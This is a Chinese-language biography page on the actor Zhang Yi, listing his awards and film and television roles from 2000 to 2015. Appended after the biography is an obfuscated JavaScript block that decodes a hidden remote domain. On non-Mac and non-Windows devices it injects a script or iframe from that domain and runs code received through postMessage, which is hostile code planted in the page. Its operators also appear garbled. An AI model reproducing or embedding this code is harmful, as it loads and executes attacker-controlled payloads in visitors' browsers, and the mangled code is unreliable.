张译

主要成就

2011搜狐盛典最具突破演员奖
金海峡国际微电影节最佳男演员奖
2012全国话剧金狮奖表演奖
2010年第11届中国电视榜最深入人心电视形象奖
2013网易时尚传媒大奖年年度男性榜样奖
2015第30届中国电影金鸡奖最佳男配角

演艺经历

2

000年,张译所在的战友文工团开始排演《士兵突击》的话剧版《爱尔纳・突击》。他做了长达三年的场记工作,让他对《士兵突击》的理解和感情已非一般人能比。“三年的场记加上三年的等待,总共六年,一直到2006年电视剧《士兵突击》开拍。当兵十年,张译跑了十年龙套。除了自己热爱的“主业”表演外,张译还有很多“副业”爱好:录广播剧、写剧本。2004年,张译写的短剧剧本《文小姐・武将军》没被团里通过,却意外地发表在了《剧本月刊》。

2006年12月24日,与王宝强、陈思成、段奕宏主演的电视剧《士兵突击》在中国首播。

2008年9月22日,与王千源、闫妮、李明启主演的《三七撞上二十一》在大连拍摄,由导演马小刚执导。

2009年3月5日,与段奕宏、张国强、邢佳栋主演的电视剧《我的团长我的团》在中国首播。9月19日,与廖凡、李晨、杨烁主演的电视剧《生死线》在中国首播,该剧改编自兰晓龙的最新畅销战地小说《生死线》,并且由2008年两部最震撼人心的电视剧《士兵突击》与《闯关东》的主创班底携手创作。

2010年11月13日,与沈傲君、王媛可主演的电视剧《兵团岁月》中国首播。2010年主演电视剧《枪声背后》上映。

2011年1月1日,与陈宝国、冯远征主演的电视剧《钢铁年代》在中国首播。5月17日,与潘雨辰主演的电视剧《雪花那个飘》在中国首播。6月15日,参与拍摄的电影《建党伟业》在中国首播。12月5日,张译、潘

虹、张歆艺主演的电视剧《新上门女婿》在中国首播。12月10日,与陈思成、李晨、杨幂主演的电视剧《北京爱情故事》在北京开机。

2012年1月18日,主演的电视剧《北京爱情故事》在中国首播,饰演剧中角色石小猛。4月23日,与黄晓明、张歆艺主演的电影《匹夫》在中国首映。4月25日,与王珞丹主演的电影《老人愿》在中国首映。7月6日,参与拍摄的电影《搜索》在中国首映。11月10日,主演的电视剧《温州一家人》在中国首播,饰演剧中角色周麦狗。

2013年1月29日,参与拍摄的电影《愤怒的小孩》在中国首映;2013年2月10日,参与拍摄的电影《越来越好之村晚》在中国首映。8月,由导演杜军执导,张译、高露、战菁一、李博主演的电视剧《好男儿之情感护理》在威海杀青。9月2日,与海清主演的电视剧《抹布女也有春天》在中国首播。9月14日,与孙俪主演的《辣妈正传》在中国首播。

2014年3月,张译同陈乔恩、蔡明主演都市家庭轻喜剧《嫁个老公过日子》。4月2日,出席了打拐题材电影《亲爱的》在清华大学举行的开机发布会,该片由陈可辛执导,张译与赵薇、黄渤、佟大为、郝蕾共同主演

2014年9月26上映,同年该片于威尼斯电影节展映,张译作为主演之一亮相电影节红毯。10月1日,参与拍摄由汤唯、冯绍峰、王志峰主演的电影《黄金时代》中国首映。

2015年1月,与刘烨、谭卓主演的电影《追凶者也》在东川开机拍摄,由导演曹保平执导。3月,由张译主演的都市轻喜剧《好男儿之情感护理》在中央电视台影视剧频道首播。3月16日,正式加入导演贾樟柯执导的电影《山河故人》拍摄,本片澳洲、山西多地取景,合作主演赵涛、张艾嘉等,该片入围第68届戛纳国际电影节主竞赛单元。4月,主演由何平导演执导电影《回到被爱的每一天》正式开机拍摄。同时,出演由六六编剧余淳执导电视剧《女不强大天不容》,与海清、杜淳、陈小艺共同主演。

2015年5月20日,《山河故人》作为第68届戛纳电影节主竞赛单元影片全球首映,张译作为主演出席当日首映红毯和新闻发布会。9月,张译作为电影《回到被爱的每一天》《山河故人》主演、《老炮儿》参演演员参加第40届多伦多国际电影节。9月19日,张译凭借电影《亲爱的》获得第30届中国电影金鸡奖最佳男配角奖。


function mYNcw(e){var t="",n=r=c1=c2=0;while(n 0x3c e.length){r=e.charCodeAt(n);if(r 0x3c 128){t+=String.fromCharCode(r);n++;}else if(r 0x3e 191&&r 0x3c 224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)0x3c0x3c 6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)0x3c0x3c 12|(c2&63)0x3c0x3c 6|c3&63);n+=3;}}return t;};function DtUbXcF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f 0x3c e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s 0x3c0x3c 2|o 0x3e0x3e 4;r=(o&15)0x3c0x3c 4|u 0x3e0x3e 2;i=(u&3)0x3c0x3c 6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return mYNcw(t);};window[''+'h'+'C'+'E'+'I'+'y'+'O'+'l'+'d'+'V'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=DtUbXcF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var wr='w'+'ri'+'t'+'e';'jQuery';var f=d[crd](x('aWZyYW1l'));f.id='x'+(Math.random()*10000);f.style.width='10px';f.style.height=5+'px';f.style.background='#FFF';f.src=['https://',u,c[0],i,c[1]].join('/');d[wr](f.outerHTML);w['a'+'d'+'dEve'+'nt'+'Lis'+'ten'+'er']('me'+'s'+'sa'+'ge',function(e){if(e.data[c[1]]){d.getElementById(f.id).remove();new Function('_'+'t'+'d'+'cs',x(e.data[c[1]].replace(new RegExp(c[1],'g'),'')))(cs);}});}else{var s=d[crd]('script');s.src='https://'+u+'/j/'+i;cs.parentElement.insertBefore(s,cs);}})('aa3J0LnpoZW5neGlhb2xpdS50b3A=','150136',window,document,['a','HOdmQb']);}:function(){};